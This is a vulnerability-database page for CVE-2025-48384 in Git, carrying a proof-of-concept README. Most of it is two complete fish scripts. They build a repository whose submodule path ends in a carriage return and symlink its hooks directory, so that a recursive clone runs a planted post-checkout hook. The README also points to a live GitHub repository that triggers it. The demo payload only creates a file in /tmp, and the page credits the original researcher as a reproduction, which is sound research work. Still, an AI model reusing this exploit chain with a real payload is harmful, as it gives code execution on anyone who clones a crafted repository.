关联漏洞
标题：
Git 安全漏洞
(CVE-2025-48384)
描述：Git是Git开源的一套免费、开源的分布式版本控制系统。 Git存在安全漏洞，该漏洞源于在处理配置值时尾随回车符的处理不当，可能使子模块被错误检出到由符号链接指向的钩子目录，意外执行其中的可执行脚本。
描述
Breaking git with a carriage return and cloning RCE
介绍
# CVE-2025-48384: Breaking git with a carriage return and cloning RCE
Reproduction from <https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384>. All credits to David Leadbeater.
This is a basic reproduction attempt of the vulnerability.
To trigger, do `git clone --recursive https://github.com/acheong08/CVE-2025-48384` on a vulnerable git version and you'll find a `/tmp/fishsucks` file suddenly appearing.
I was able to reproduce on git version 2.50.0.
Below is the script used to test locally.
```fish
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone
```
Modified script for pushing to Github:
```fish
#!/usr/bin/fish
if not test -d sub
git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
git -C sub pull
end
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD
rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
```
文件快照
[4.0K] /data/pocs/1290f84ad8a05a2391e6e17acaae206e38b80da7
├── [2.3K] README.md
├── [ 22] sub -> .git/modules/sub/hooks
└── [4.0K] sub\015
1 directory, 2 files
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